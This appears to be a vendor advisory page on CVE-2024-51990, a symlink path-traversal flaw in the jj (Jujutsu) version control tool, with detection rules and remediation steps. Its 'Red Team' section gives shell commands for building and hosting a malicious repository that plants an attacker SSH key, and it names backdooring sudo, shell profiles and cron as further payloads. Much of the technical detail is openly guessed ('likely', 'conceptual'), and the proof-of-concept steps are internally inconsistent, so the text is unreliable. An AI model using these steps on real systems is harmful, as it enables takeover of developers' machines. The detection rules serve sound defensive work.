CVE-2024-51990
Executive Summary
CVE-2024-51990 is a critical path traversal vulnerability in jj (Jujutsu), a Git-compatible version control system written in Rust. An attacker can craft a malicious Git repository that, when cloned by a victim using jj, causes the tool to write files outside the intended clone directory. This can lead to arbitrary file write, potentially enabling remote code execution or system compromise. The vulnerability is present in all versions prior to 0.23.0. The official patch is to upgrade to version 0.23.0. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is significant due to the potential for supply chain attacks via malicious repositories.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the software supply chain. jj is a tool used by developers to manage source code. A malicious repository hosted on platforms like GitHub, GitLab, or Bitbucket could be used to compromise a developer's workstation. If the developer has elevated privileges, the attacker could gain a foothold in the organization's development environment, potentially leading to code injection, credential theft, or lateral movement. The Rust ecosystem (crates.io) is not directly affected, but the tool itself is a critical part of the development pipeline.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable by cloning a remote repository.
- Attack Complexity (AC): Low (L) - No special conditions are required beyond cloning a malicious repo.
- Privileges Required (PR): None (N) - The attacker does not need any prior access.
- User Interaction (UI): Required (R) - The victim must clone the malicious repository.
- Scope (S): Changed (C) - The vulnerable component (
jj) impacts resources beyond its security scope (the filesystem). - Confidentiality (C): High (H) - An attacker can read arbitrary files by writing them to a location they can later access.
- Integrity (I): High (H) - An attacker can overwrite critical system files (e.g.,
~/.ssh/authorized_keys,~/.bashrc). - Availability (A): High (H) - An attacker can overwrite system binaries, causing denial of service.
CVSS Score: 9.0 (Critical)
Threat Level: Critical. The combination of low attack complexity, network attack vector, and high impact makes this a severe threat. The lack of a public PoC is the only mitigating factor, but it is expected that one will be developed soon.
Deep Dive & Mechanics
The vulnerability lies in how jj handles symbolic links (symlinks) and file paths within a Git repository. Git repositories can contain symlinks that point to paths outside the repository. When jj clones a repository, it must resolve these symlinks to create the working copy. A flaw in the path resolution logic allows an attacker to create a symlink that, when followed by jj, writes a file to an arbitrary location on the victim's filesystem.
Technical Breakdown:
Malicious Repository Creation: An attacker creates a Git repository containing a symlink. For example:
symlink_to_home -> ../../../../../../home/victim/.ssh/- A regular file named
authorized_keysinside the symlink target directory.
Cloning Process: When
jjclones this repository, it encounters the symlink. Instead of safely resolving the path relative to the clone root, it follows the symlink to the absolute path.File Write:
jjthen attempts to write the fileauthorized_keysto the resolved path (/home/victim/.ssh/authorized_keys). This overwrites the victim's SSH authorized keys file, allowing the attacker to authenticate via SSH.
Root Cause: The vulnerability is a classic path traversal (CWE-22) combined with improper symlink handling. The jj code likely uses a function like std::fs::canonicalize or similar without checking that the resolved path is still within the intended clone directory.
Vulnerable vs. Patched Code
The vulnerable code likely resides in the repository checkout logic. A simplified example in Rust:
Vulnerable Code (Conceptual):
// Vulnerable: Does not check if the resolved path is within the clone directory
fn checkout_symlink(target: &Path, link_dest: &Path) -> Result<()> {
let resolved = std::fs::canonicalize(link_dest)?;
// Writes the file to the resolved path, which could be outside the clone
std::fs::write(&resolved, data)?;
Ok(())
}
Patched Code (Conceptual):
// Patched: Ensures the resolved path is within the clone directory
fn checkout_symlink(target: &Path, link_dest: &Path, clone_root: &Path) -> Result<()> {
let resolved = std::fs::canonicalize(link_dest)?;
// Check if the resolved path starts with the clone root
if !resolved.starts_with(clone_root) {
return Err(anyhow!("Symlink points outside the clone directory"));
}
std::fs::write(&resolved, data)?;
Ok(())
}
The actual patch in version 0.23.0 likely adds a validation step to ensure that any symlink target, after canonicalization, remains within the repository's working directory.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A machine with
jjinstalled (version < 0.23.0). - A publicly accessible Git server (or local for testing).
Steps:
Create the Malicious Repository:
mkdir malicious-repo cd malicious-repo git init mkdir -p .ssh # Create a symlink that points to the victim's .ssh directory ln -s /home/victim/.ssh/ .ssh # Create a file that will be written to the victim's .ssh directory echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..." > .ssh/authorized_keys git add . git commit -m "Initial commit"Host the Repository:
# Using a simple HTTP server for testing cd .. git daemon --reuseaddr --base-path=. --export-all --verboseVictim Clones the Repository:
jj git clone git://attacker-ip/malicious-repoResult: The victim's
~/.ssh/authorized_keysfile is overwritten with the attacker's public key. The attacker can now SSH into the victim's machine.
Alternative Payloads:
- Overwrite
~/.bashrcor~/.profileto execute arbitrary commands on login. - Overwrite a system binary (e.g.,
/usr/bin/sudo) with a backdoor. - Write a cron job to
/etc/cron.d/.
Blue Team (Defensive)
Detection:
- Monitor for
jjprocesses writing to files outside the expected clone directory. - Use file integrity monitoring (FIM) to detect unauthorized changes to critical files like
~/.ssh/authorized_keys,/etc/passwd, etc. - Implement egress filtering to prevent
jjfrom connecting to unknown Git servers.
Prevention:
- Immediate: Upgrade
jjto version 0.23.0 or later. - Workaround: Avoid cloning repositories from untrusted sources. Use a sandboxed environment (e.g., Docker container) for cloning unknown repositories.
- Policy: Enforce a policy that all cloned repositories must be from approved internal mirrors.
Indicators of Compromise (IOCs)
- File System Anomalies:
- Unexpected files in
~/.ssh/,/etc/,/usr/bin/, or other sensitive directories. - New symlinks in cloned repositories that point to absolute paths outside the repo.
- Unexpected files in
- Process Anomalies:
jjprocesses with unusual file write operations (monitored via auditd or Sysmon).
- Network Anomalies:
- Outbound connections to unknown Git servers on port 9418 (git://) or 22 (SSH).
- Log Entries:
- Audit logs showing
jjwriting to paths like/home/*/.ssh/authorized_keys.
- Audit logs showing
Detection Engineering
YARA Rule
rule CVE_2024_51990_Jujutsu_Path_Traversal {
meta:
description = "Detects malicious Git repositories exploiting CVE-2024-51990"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-51990"
strings:
$symlink_pattern = /\.git\/.*\.ssh\/authorized_keys/ nocase
$path_traversal = /\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\// nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-51990 - Jujutsu Path Traversal via Malicious Git Repo
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes by jj (Jujutsu) to paths outside the expected clone directory.
author: Valters IT
date: 2024-10-27
logsource:
category: file_event
product: linux
detection:
selection:
Image|endswith: '/jj'
TargetFilename|contains:
- '/.ssh/'
- '/etc/'
- '/usr/bin/'
- '/root/'
condition: selection
falsepositives:
- Legitimate use of jj with custom clone paths (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 9418 (msg:"CVE-2024-51990 - Potential Jujutsu Malicious Git Clone"; flow:to_server,established; content:"git-upload-pack"; nocase; content:"|00 00 00 00|"; distance:0; within:4; reference:cve,2024-51990; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action: Upgrade
jjto version 0.23.0 or later.cargo install jj --version 0.23.0 # Or using your package managerWorkaround: If upgrade is not possible, do not clone repositories from untrusted sources. Use a sandboxed environment (e.g., Docker, VM) for any cloning activity.
Detection: Deploy the YARA, Sigma, and Suricata rules provided above. Monitor for anomalous file writes by
jj.Hunting: Search for any existing clones of suspicious repositories. Check for unauthorized SSH keys in
~/.ssh/authorized_keysand unexpected files in system directories.Long-Term: Implement a policy of using only trusted, mirrored repositories. Consider using a Git proxy that scans for malicious symlinks.
Valters IT
Securing the Digital Frontier